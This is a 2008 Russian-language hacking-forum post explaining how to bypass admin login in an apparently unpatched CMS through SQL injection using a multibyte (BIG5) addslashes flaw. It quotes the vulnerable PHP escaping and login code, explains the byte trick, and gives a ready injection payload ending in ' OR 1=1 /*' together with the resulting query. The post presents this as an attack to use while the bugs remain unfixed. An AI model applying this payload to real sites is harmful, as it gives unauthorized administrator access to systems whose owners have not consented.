Показать сообщение отдельно

  #3  
Старый 22.12.2008, 21:53
Dimi4
Reservists Of Antichat - Level 6
Регистрация: 19.03.2007
Сообщений: 953
С нами: 10077446

Репутация: 3965


По умолчанию

Обход авторизации в админке.
Так как даная цмс еще не очень популярна (надеюсь не станет ей до исправления багов ) такой случай очень редкий.

Требования:

PHP: < v4.3.0
magic_qoutes_gpc: OFF
character_set_results: BIG5 (Или любая другая мультибайтовая кодировка - SJIS, BIG5 и GBK)

Уязвимая функция (functions.php)

PHP код:
function mysql_prep($value)
{
    
$magic_quotes_active = get_magic_quotes_gpc();
    
$new_enough_php = function_exists("mysql_real_escape_string"); // i.e. PHP >= v4.3.0
    
if ($new_enough_php) { // PHP v4.3.0 or higher
        // undo any magic quote effects so mysql_real_escape_string can do the work
        
if ($magic_quotes_active) {
            
$value = stripslashes($value);
        }
        
$value = mysql_real_escape_string($value);
    } else { 
// before PHP v4.3.0
       
        
if (!$magic_quotes_active) {
            
$value = addslashes($value);
        }
       
    }
    return 
$value;
} 
PHP код:
addslashes() 
Перед одинарными и двойными кавычками, беклсешем, нуллбайтом добавляет обратный слэш. В мультибайтовой BIG5 кодировке 0xa327 - неверный символ, но после слеширования, у - 0xa35c27. 0xa35c для BIG5 корректный символ. Но и 0х27 станет отдельным и кавычка не будет экранироватся.

Другой уязвимый кусок кода:
PHP код:
$user_name = mysql_prep($_POST['user_name']);
        
$password = mysql_prep($_POST['password']);
        
$h_password = sha1($password);

        
$query = " SELECT id, user_name, s_admin  ";
        
$query .= " FROM users ";
        
$query .= " WHERE user_name = '{$user_name}' ";
        
$query .= " AND h_password = '{$h_password}' ";
        
$query .= " AND active = 1 ";
        
$query .= " LIMIT 1 ";
        
$result = mysql_query($query); 
PHP код:
 if (mysql_num_rows($result) == 1) {
            
$valid_user = mysql_fetch_array($result);
            
$_SESSION['user_id'] = $valid_user['id'];
            
$_SESSION['user_name'] = $valid_user['user_name'];
            
$_SESSION['s_admin'] = $valid_user['s_admin'];
            
redirect_to("index.php"); 
Пример для пост заголовка на пхп:

PHP код:
$header .= chr(0xa3).chr(0x27).' OR 1=1 /*'; 
Sql запрос примет такой вид:

PHP код:
$query = " SELECT id, user_name, s_admin FROM users WHERE user_name = 'значение+0xa35c+' OR 1=1 /*' AND h_password = '{$h_password}' AND active = 1 LIMIT 1 "; 
Таким образом пройдем авторизацию

Спасибо [Raz0r] За статью в блоге
Спасибо The:Paradox за експлойт для SMF <= 1.1.4
 
Ответить с цитированием